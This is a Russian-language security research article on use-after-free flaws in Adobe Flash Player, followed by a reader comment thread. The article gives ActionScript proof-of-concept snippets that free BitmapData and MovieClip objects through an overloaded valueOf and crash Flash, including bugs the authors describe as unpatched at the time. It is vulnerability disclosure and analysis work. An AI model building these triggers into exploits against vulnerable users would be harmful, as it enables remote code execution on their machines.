Пока еще широко распространенный продукт Flash Player компании Adobe печально известен своей безопасностью. Регулярно становится известно об очередной zero-day уязвимости во Flash, используемой хакерами в APT-кампаниях. 2015 год выдался особенно урожайным на такие уязвимости. Большая доля критических RCE-уязвимостей были вызваны некорректной работой с памятью: была возможна запись в освобожденную память в куче процесса Flash.

В этой статье мы поисследовали безопасность Adobe Flash и выяснили, что многие его «дыры в безопасности» — хронические, и решить их можно разве что переписыванием кода с нуля, в то время как разработчики ставят заплатку на заплатку, что, конечно, не повышает уровень безопасности. А еще мы продемонстрируем некоторые найденные нами и незакрытые на данный момент уязвимости!

Нашумевшие уязвимости


В феврале-марте 2015 года были выявлены схожие Use-After-Free уязвимости CVE-2015-0313 и CVE-2015-0311 в ActionScript-классе ByteArray (почитать про них можно здесь и тут). Объект типа ByteArray, отмеченный в качестве domainMemory для осуществления быстрых и низкоуровневых операций чтения-записи в память, при изменении указателя на свой буфер не уведомлял об этом domainMemory, хранящий указатель на него.

В CVE-2015-0313 объект удалялся в другом потоке, в CVE-2015-0311 он неудачно распаковывался с использованием zlib. Это позволяло осуществлять запись в освобожденную память других объектов и изменять их, нарушая инварианты классов.

В июле 2015 года много шума наделали публичные эксплойты к zero-day уязвимостям CVE-2015-5119, CVE-2015-5122, утекшие из взломанных архивов итальянской компании Hacking Team. Уязвимы были ActionScript операторы присваивания ячейке объекта ByteArray значения по индексу (в CVE-2015-5119) и оператор установки поля opaqueBackground в классе TextLine (в CVE-2015-5122).

Ожидаемое значение при таких присваиваниях – численное. Если передать в качестве величины присваивания элементу ByteArray/полю opaqueBackground объект пользовательского класса с перегруженным методом valueOf, перед присвоением произойдет неявное приведение этого объекта к численному типу, с вызовом перегруженного valueOf. Если в методе valueOf перед вышеупомянутым присваиванием освобождать ресурсы объекта ByteArray/объекта TextLine, память становится доступной, но указатель на нее сохраняется, и по нему произойдет запись в освобожденную память в куче.

В целом, Use-After-Free уязвимости во Flash — та еще головная боль для Adobe, поскольку появляются они довольно часто.

Уязвимости в TextField и MovieClip от Google Project Zero


Подобные уязвимости иногда содержат целые группы методов ActionScript классов. Например, обнаруженный командой Google Project Zero набор уязвимостей в методах ActionScript 2 классов MovieClip и TextField позволял освободить память объекта до попытки его использования. Некоторые уязвимые методы:

1. CVE-2015-8412: Объект mc освобождается перед использованием при неявном вызове valueOf в методе duplicateMovieClip:

this.createEmptyMovieClip("mc", 1);
mc.duplicateMovieClip( "mc",{valueOf : func});

function func(){
	trace("in func");
	mc.removeMovieClip();
        // Fix heap here
	return 5;
	}


2. CVE-2015-8044: Объект triangle_mc освобождается перед использованием при неявном вызове valueOf в методе lineStyle:

this.createEmptyMovieClip("triangle_mc", this.getNextHighestDepth());
	var o = {toString: func};
	triangle_mc.lineStyle(5, 0xff00ff, 100, true, o, "round", "miter", 1);

	function func(){
		triangle_mc.removeMovieClip();
		return "none";
	}


Похожая ситуация наблюдается с методами ActionScript 2 класса TextField (CVE-2015-7652, CVE-2015-8046, CVE-2015-8423, CVE-2015-8424, CVE-2015-8425, CVE-2015-8427, CVE-2015-8428, CVE-2015-8429, CVE-2015-8430, и т.д.)

Видя такое безобразие, мы решили выяснить, действительно ли все так плохо с безопасностью Flash? И… да, все плохо!

Уязвимости в классе BitmapData


Мы решили посмотреть ситуацию в других ActionScript-классах Flash. Оказалось, набор похожих Use-After-Free уязвимостей присутствовал также в ActionScript 2 классе BitmapData. На момент исследования этого класса последней версией Flash была версия 18.0.0.209. Часть уязвимостей (независимо от нас) была позже выявлена другими исследователями, часть оставалась незакрытой до появления версии 20.0.0.228.

Для освобождения памяти до использования объекта BitmapData использовался тот же трюк с перегрузкой метода valueOf у пользовательского класса. Этот метод неявно вызывается, когда необходимо преобразовать объект класса к типу Number. Так происходит, например, при предварительном вычислении аргументов функций или методов.

import flash.geom.Point;
import flash.geom.Rectangle;
import flash.display.BitmapData;

class MyClass 
{
    static var  bitmap1:BitmapData,
    bitmap2:BitmapData,
    bitmap3:BitmapData;
    public function MyClass() { }
    static function vof()
    {
        trace("in valueOf..");
        bitmap2.dispose();
        return 1;
    }
    static function expl()
    {
        trace("in expl");
        MyClass.prototype.valueOf = MyClass.vof;
		
        var array:Array = new Array(256);
        for(var i:Number= 0; i < 256; i++) {
            array[i] = 0xaaddddaa;
        }
        array[0xFF] = new MyClass();
        var o = new MyClass();
        var rect:Rectangle = new Rectangle(10, 11, 2, 2);
        var pt:Point = new Point(12, 12);

        bitmap1 = new BitmapData(100, 100, true, 0xaabbccdd);
        bitmap2 = new BitmapData(100, 100, true, 0xaabbccdd);
        bitmap3 = new BitmapData(100, 100, true, 0xaabbccdd);


Теперь вызываем уязвимый метод класса BitmapData:

Bitmap2.hitTest(pt, 1, bitmap1, new Point(0, 0), o);


В данном случая вызывается уязвимый метод BitmapData.hitTest с параметром типа MyClass (_loc3_[255]), который неявно приводится к целочисленному виду путем вызова функции vof. Внутри функции происходит освобождение памяти объекта myBitmapData2 перед использованием указателя на него. В куче, где сохраняется структура данных BitmapData, обнуляется указатель на пиксельный буфер (также в куче).

Уязвимым является не только метод BitmapData.hitTest. Вот список обнаруженных нами уязвимых методов версии Adobe Flash 18.0.0.209, вместе с уязвимой частью кода.

BitmapData.draw
bitmap2.draw(bitmap1, new Matrix(0.5, array[0xFF], 0.5, 0.5));


BitmapData.copyChannel
bitmap2.copyChannel(bitmap1, rect, pt, o, 4);
bitmap1.copyChannel(bitmap2, rect, pt, o, 4);


BitmapData.copyPixels
bitmap2.copyPixels(bitmap1, new Rectangle(10, 11, 2, array[0xFF]), pt, bitmap3);
bitmap1.copyPixels(bitmap2, new Rectangle(10, 11, 2, array[0xFF]), pt, bitmap3);


BitmapData.paletteMap
bitmap2.paletteMap(bitmap1, rect, pt, array);
bitmap1.paletteMap(bitmap2, rect, pt, array);


BitmapData.floodFill
bitmap2.floodFill(10, 10, o);


BitmapData.pixelDissolve
bitmap2.pixelDissolve(bitmap1, new Rectangle(10, 11, 2, 2), new Point(0, 0), 1245, o);
bitmap1.pixelDissolve(bitmap2, new Rectangle(10, 11, 2, 2), new Point(0, 0), 1245, o);


BitmapData.merge
bitmap2.merge(bitmap1, rect, pt, 1, 1, 1, o);
bitmap1.merge(bitmap2, rect, pt, 1, 1, 1, o);


BitmapData.getColorBounds
var z:Rectangle = bitmap2.getColorBoundsRect(array[0xFF], 0xffffffff);


BitmapData.scroll
bitmap2.scroll(o, 13);


Каждый из этих методов вызывает разыменование памяти около нуля при чтении и, соответственно, крах Adobe Flash версии 18.0.0.209. Часть методов вызывает крах всех версий вплоть до 19.0.0.245 включительно, которая вроде бы их всех должна исправлять!

Тот факт, что целые ActionScript классы имеют проблемы с безопасностью, уже настораживает. Но это еще не все. Оказывается, бывают в мире Adobe уязвимости, которые то закрывают, то заново открывают в свежей версии!

Баг или фича?


Одна из вышеуказанных уязвимостей, в методе BitmapData.merge, была закрыта еще в версии 18.0.0.232. Она оставалась закрытой вплоть до версии 19.0.0.245, однако, начиная с релиза 20.0.0.228, она снова оказалась незакрытой! Следующий код вызывает разыменования памяти в районе нуля и падение Flash в указанных версиях:

bitmap2.merge(bitmap1, rect, pt, 1, 1, 1, o);






Если теперь в методе valueOf будет удаляться объект-источник, а не объект-приемник, то такой swf файл вызовет крах вообще всех версий Flash, включая последнюю на сегодня (21.0.0.182):

bitmap1.merge(bitmap2, rect, pt, 1, 1, 1, o);


Посмотрим, что происходит в коде Flash до его падения. Для этого используем дизассемблер IDA Pro и x86-декомпилятор Hex-Rays. Функция sub_12FDF50 вызывается несколько раз при вычислении параметров функции BitmapData.merge, и в последней версии Flash происходит предварительное удаление объекта BitmapData и обнуление ячейки памяти по адресу [esi+0xC8] в функции sub_122DD40 (метка .text:0122DD82 в дизассемблированном коде, строка 19 в декомпилированном коде):



После вычисления параметров происходит вызов процедуры sub_1230D10:





Обращаем внимание, что регистр ecx на момент вызова sub_1230D10 содержит тот же адрес, значение по которому было обнулено ранее при вычислении параметров функции BitmapData.merge и обнулении объекта-приемника bitmap2 в методе valueOf.

В функции sub_1230D10 происходит разыменование памяти рядом с адресом, лежащим в ячейке [ecx+0xC8]. Как видно, это тот адрес, значение по которому ранее обнулялось при удалении объекта-приемника BitmapData. Результатом этого является крах Flash:



Неясно, что заставляет Adobe вновь открывать ранее уже запатченные уязвимости.

CVE-2015-?


Напоследок приведем еще одну найденную нами уязвимость. Она не связана с использованием памяти после освобождения, однако является весьма наглядным примером уязвимого кода.

Уязвимость была обнаружена в отладочных версиях Flash для Windows (в т.ч. плагины браузеров) в связке с Adobe Flex Debugger (FDB). Она заключается в некорректном поиске величины по связанному списку в коде Flash и срабатывает в отладочной версии Flash при запущенном отладчике FDB.

Сформированный нами swf-файл main.swf в коде ActionScript 3 подгружает внутри себя другой swf-файл, expressInstall_.swf в коде ActionScript 2, который обращается к внешнему адресу:





Для анализа вновь воспользуемся IDA Pro и Hex-Rays. Когда активен Flex Debugger (например, во время отладки ActionScript-кода), Flash при запуске сформированной нами swf формирует сообщение об ошибке:



В функции sub_C57769 вычисляется строка, которая будет выведена функцией sub_B8E6D9 в сообщение об ошибке после слова “Base”.



Для вычисления в цикле по связанному списку v4 ищется ячейка с определенными свойствами (*(*(v4 + 24) + 252) == 98). Цикл прекращается в трёх случаях:
  • если встречается нужная ячейка (*(v6 + 252) == 98
  • если мы не нашли нужную ячейку в списке за 256 шагов (v5 >= 256)
  • если список закончился (v4 == 0)

После выхода из цикла финальная ячейка используется в дальнейших вычислениях. Там и происходит ошибка на сформированном нами swf-файле: в списке не находится ячейки с нужным свойством, и цикл завершается в конце списка. Adobe Flash аварийно завершается после выхода из цикла с v4 == 0:



Как видно, код выхода из цикла уязвим. Потенциально возможно формирование такого условия, при котором в v4 окажется контролируемый злоумышленником адрес. Это возможно в случае, если список будет длиннее 256 значений, и первые 256 не будут удовлетворять свойству (*(*(v4 + 24) + 252) == 98). Тогда цикл while завершится по условию (v5 >= 256), и в v4 оказывается адрес следующей по номеру ячейки.

Что тут еще скажешь?


Буквально на днях в Adobe выпустили очередной патч, закрывающий 23 уязвимости во Flash, включая критические. По сообщениям, одна из них уже используется в узконаправленных атаках.

Можно определенно сказать – технология Flash из-за хронических проблем с безопасностью рано или поздно будет окончательно вытеснена из браузеров, а может быть, и с десктопов, что бы об этом ни говорили в Adobe. Youtube уже давно успешно работает на HTML5, В Mozilla уже удалили Flash из стандартной поставки Firefox. Теперь очередь за другими игроками на рынке – никому не выгодно понижать безопасность своего продукта в сравнении с конкурентами. Так что, Flash, давай, до свидания!

Комментарии (63)


  1. Sergiy
    21.03.2016 12:28
    +25

    Шел 2016-ый, мы все еще хоронили флеш...

    технология Flash из-за хронических проблем с безопасностью рано или поздно будет окончательно вытеснена из браузеров

    Так рано или поздно? Можно хоронить Flash сколько угодно, будь готовая альтернатива. А то новомодной HTML5/JS — то со звуком, то со стриммингом, то с альфа каналом, то с производительностью — проблемы.
    Даже Adobe флеш поддерживает на плаву, потому что "надо", перекинув своих кодеров на HTML5 проекты еще 2012-2013 годах.


  1. PerlPower
    21.03.2016 12:40
    +5

    Вот бы увидеть новый кроссплатформенный флеш, который бы решил проблемы старого, а заодно позволили бы писать веб-приложения как цельные приложения, а не как микс из ошметков html, css и js. Другой вопрос, почему так сложно написать аналог флэша?


    1. solver
      21.03.2016 13:17

      Так он же в разработке.
      По идее, WebAssembly должен стать тем самым последним гвоздем в крышку гроба флеша.


    1. vkudrik
      21.03.2016 13:35

      Старый просто сделать open-source. Это многие проблемы решит.


      1. PerlPower
        21.03.2016 13:44

        Ну вот есть gnash, которому в этом году аккурат 10 лет, по каким-то причинам сообщество его не потянуло.


        1. PavelMSTU
          21.03.2016 14:26

          А есть статья с достоинствами и недостатки OpenSource решения?


      1. Gorthauer87
        21.03.2016 14:31
        +1

        Помимо gnash был ещё lightspark, вроде обещался быть и быстрым и хорошим, но и он что-то не взлетел никак. Подозреваю, что тут главная проблема в том, что долгое время была лишь одна реализация, да и та с кучей дырок и багов. Разработчики лепили на них workaround'ы, которые на альтернативных реализациях никто не проверял. Поэтому у них никаких шансов заменить флеш уже нет.


    1. Alexey2005
      21.03.2016 14:40

      Сложно не написать, сложно забить всех конкурентов и сделать написанное жёстким стандартом с единственным владельцем, а не фрагментированной вольницей. Сейчас же стоит только одной из корпораций начать создание какого-либо стандарта, так все остальные из принципа станут вставлять палки в колёса и придумывать собственные велосипеды.
      А если технология будет ещё и OpenSource, то фрагментация вообще неизбежна, и как следствие взлетать оно будет долго и вдумчиво: не меньше 10 лет уйдёт, пока наконец удастся достигнуть хоть какой-то кроссплатформенности. HTML+JS её до сих пор не достигли, вынуждая тратить на подгонку под разные браузеры слишком много усилий.
      Поэтому и Flash всё никак не умрёт. И лет 5 он ещё точно протянет.


  1. Scratch
    21.03.2016 12:52
    -8

    Судя по тому, что автор дважды назвал декомпилятор Hex-Race, обсудить с ним тут ничего не получится


    1. NWOcs
      21.03.2016 13:04
      +8

      Спасибо за замечание, исправили. Каждый имеет право на невнимательность :) Для обсуждений автор открыт.


    1. PavelMSTU
      21.03.2016 14:25

      Ну описался человек, что тут троллить?


  1. jazzy_miles
    21.03.2016 13:26

    Да, решето (
    Но вот беда в том, что нет технологии, которая могла бы полностью заменить его.
    И отказ от флеша сказывается и на качестве проектов и на сроках разработки.


    1. Kjunow
      21.03.2016 16:50

      А использование html5 сильно замедляет разработку?


      1. navion
        21.03.2016 23:02

        Надо тестировать на трёх платформах, вместо одной.

        И пользовательский пример: VMware долго и упорно загоняла всех на флешевый веб-клиент, которых поминали непечатными словами при любой возможности из-за тормозов, но все заявленные фичи там работали. Недавно представили новый красивый и отзывчивый клиент на HTML5 у которого некоторые фичи глючат в одном браузере, а некоторые в другом и для полноценной работы надо переключаться между ними.


      1. jazzy_miles
        22.03.2016 12:05
        +1

        Очень.
        Например http://inspacewetrust.org можно было бы на флеше собрать за две недели со всеми плюшками и быть увереными, что у всех все будет работать адекватно. Да и вес был бы раз в 3-4 меньше. А получилось куча времени на тестирование куча компромисов отказ от ряда вещей ну и тд


        1. Kjunow
          22.03.2016 13:13

          Надеюсь в скором времени ситуация улучшится. Хочется процитировать друга, который занимается web-ом:
          «Мы флеш с помпой похоронили, но иногда ночами откапываем и используем.»(с) Klepa


  1. roller
    21.03.2016 14:02

    Включил flash в новом хроме через ppapi. Я в безопасности или нет?


    1. NWOcs
      21.03.2016 14:28
      +3

      Нет, не в безопасности


      1. roller
        21.03.2016 19:03

        Слушаю музыку из вк, и смотрю видео разные из ленты — без флеша никак ( html5 в вк нет


  1. bukt
    21.03.2016 14:10
    +5

    Хоронили… порвали три стандарта.

    Извините, но я вот сейчас на полном серьёзе хочу спросить: а кто ещё пишет на AS2, поднимите руку, пожалуйста? У меня последний раз такое было в 2011, когда нужно было переписывать проект с AS2 на AS3. Можно хоть какую-то статистику по важности проблемы узнать? Было бы прекрасно распределение версий плагина <8 и 9+ у пользователей.


    1. NWOcs
      21.03.2016 14:28

      На AS2 теперь пишут мало, а уязвимостей в нем по-прежнему много :) Чтобы быть хакнутым, не нужно писать на AS2, достаточно иметь установленный Flash.


      1. Gorthauer87
        21.03.2016 14:30

        А отдельно его не выключить?


        1. NWOcs
          21.03.2016 14:54

          В Firefox из-за проблем с безопасностью он уже отсутствует по умолчанию. В других браузерах Flash еще работает “из коробки”, но его можно отключить в настройках плагинов.


          1. Gorthauer87
            21.03.2016 15:06
            +1

            Я не про плагин, а про AS2 в нем.


          1. roller
            21.03.2016 19:31

            В Хроме флеша из коробки уже нет, приходится извращаться с PPAPI и ключами командной строки.


        1. NWOcs
          21.03.2016 14:59

          Отдельно AS2 не выключить.


  1. Stepanow
    21.03.2016 14:34
    +5

    История Flash
    image


    1. PavelMSTU
      21.03.2016 17:15
      -4

      Гениально! Можно ссылку на оригинал?


      1. AndrewTishkin
        22.03.2016 14:28
        +1

        Дык в правом нижнем углу домен.
        http://www.commitstrip.com/en/2015/07/15/a-brief-history-of-flash/


  1. Gorthauer87
    21.03.2016 14:34

    Снес его окончательно на макбуке после того, как он его в поезде целиком посадил за два часа, так и не дав досмотреть открытую ранее кинушку. Особых проблем не испытываю. Думаю, что можно считать его уже умершим, остались лишь очаги его активности, которые ещё долго будут создавать проблемы.


  1. KHH
    21.03.2016 14:43
    +9

    В iOS обнаружены четыре уязвимости, позволяющие обойти парольную защиту
    http://www.securitylab.ru/news/479954.php

    Что скажут эксперты по безопасности по поводу судьбы Apple и его устройств? Как скоро смерть? Сколько людей выкинули устройства на IOS, также как они сносят флеш?

    Представители Google отреагировали на заявления компании Perception Point, два дня назад рассказавшей о критической уязвимости (CVE-2016-0728) в подсистеме keyring ярда Linux. Эксперты утверждали, что данная проблема представляет опасность не только для компьютеров, но и для 66% всех устройств на базе Android
    https://xakep.ru/2016/01/22/google-denies-keyring-reference-leak/

    тот же вопрос владельцам Android`ов и пользователям linux.


  1. zabbius
    21.03.2016 16:02
    +1

    Как уже писали выше, пока нет адекватной замены, никуда флеш не денется, будет вечно воскресать из могилы, несмотря на обилие дыр. Недавно столкнулся с необходимостью трансляции потокового видео на веб страницу. Думал обойтись без флеша, используя новые фичи HTML5. В итоге нагуглил, что HTML5 не умеет потоковое видео. Если я не прав и есть способы — прошу поделиться.


    1. gbg
      21.03.2016 17:54

      WebM, это раз. Стэк — gstreamer + icecast2
      HLS, это два. Стэк — gstreamer или ffmpeg + nginx-rtmp


      1. zabbius
        21.03.2016 17:59

        ок, спасибо, почитаю, а есть ссылки на рабочие примеры?


        1. gbg
          21.03.2016 18:10

          https://habrahabr.ru/post/162237/ — статья, написанная автором nginx-rtmp. Это для HLS.

          Учтите, что HLS, в виду специфики, не совсем Live — задержка будет составлять порядка десятка секунд (от размера фрагмента зависит)

          У WebM получше.


    1. nwalker
      21.03.2016 18:14

      http://caniuse.com/#search=MSE — API Media Source Extensions как раз придуманы для потокового видео в браузере, в частности, MPEG DASH. DASH, конечно, не совсем потоковый, а chunked, но это даже плюс.

      YouTube HTML5 вроде бы использует MSE по возможности.

      Однако, тут надо отметить, что у Flash/RTMP latency меньше.


    1. zabbius
      21.03.2016 19:54

      На всякий случай уточню, что latency и остальные параметры должны быть примерно как у обычной live трансляции в интернете. Футбольный матч там какой-нибудь или что-нибудь типа того. Смотрел, как сделана трансляция ТВ на разных сайтах в интернете — все, кого смотрел юзают флеш. Либо плохо смотрел, либо просто всем лень заморачиваться.


  1. solver
    21.03.2016 16:05
    +2

    Такое ощущение, что за статьи про закапывание флеша платят отдельные деньги.
    Не так давно в новостях по телеку даже говорили о проблемах во флеш плагине. О_о

    Где же вопли по поводу других технологий?
    Да вот даже далеко ходить не надо.
    https://habrahabr.ru/company/eset/blog/279699/
    Полноценный эксплоит для андроида.
    Для эксплуатации достаточно зайти на страницу браузером.
    Учитывая отсутствие обновлений для большинства устройств, это полный ахтунг.

    Где вы, закапываетели технологий? Ау!
    Тут настоящий ахтунг намечается, учитывая популярность мобильных банков и количество устройств, которые никогда больше не получат обновления до требуемой актуальности.


    1. PavelMSTU
      21.03.2016 17:16
      +2

      Не так давно в новостях по телеку даже говорили о проблемах во флеш плагине.

      Можно ссылку на ТВ-репортаж?


    1. akirsanov
      21.03.2016 22:54
      +2

      не отношусь к "могильщикам" флеша, но количество критических уязвимостей во флеше действительно зашкаливает, а вкупе с массовостью использования это весьма существенный нюанс.


    1. Delphinum
      22.03.2016 01:30
      +1

      Вопят от того, что все эти проблемы безопасности живут уже десяток лет, а закрывать их активизировались последний год-два. Не начали бы крупные компании, вроде Apple и Mozilla, отказываться от этих технологий, проблемы безопасности так и не закрывались бы.


  1. beduin01
    21.03.2016 17:54
    +5

    А нафига Flash нужен? Я его у себя удалил и не парюсь.


    1. ZoomLS
      21.03.2016 18:18
      +2

      Вот тоже пару лет уже удалил его полностью. Только раз в месяц в таких новостях(очередные уязвимости) про него вспоминаю.


  1. TheRabbitFlash
    22.03.2016 02:58
    +2

    Я в пятницу на медицинской конференции по проблемам репродукции человека узнал, что презерватив не защищает на 100% от беременности. Официально — степень защиты доходит до 97.3%, однако фраза "доходит" буквально значит, что есть случаи ниже 97.3%

    От половых инфекций тоже защититься презервативом невозможно, т.к. молекулярная сетка является решетом в сравнении с размером молекулярной сетки инфекцией.


    1. Delphinum
      22.03.2016 11:06
      +2

      Кхм… TheRabbitFlash сравнил Flash с ган*оном?! Я что то проспал?


    1. AndrewTishkin
      22.03.2016 14:31
      +1

      Жесть, что на медицинских конференциях нынче обсуждают. Нам про это "решето" в школе рассказывали o_O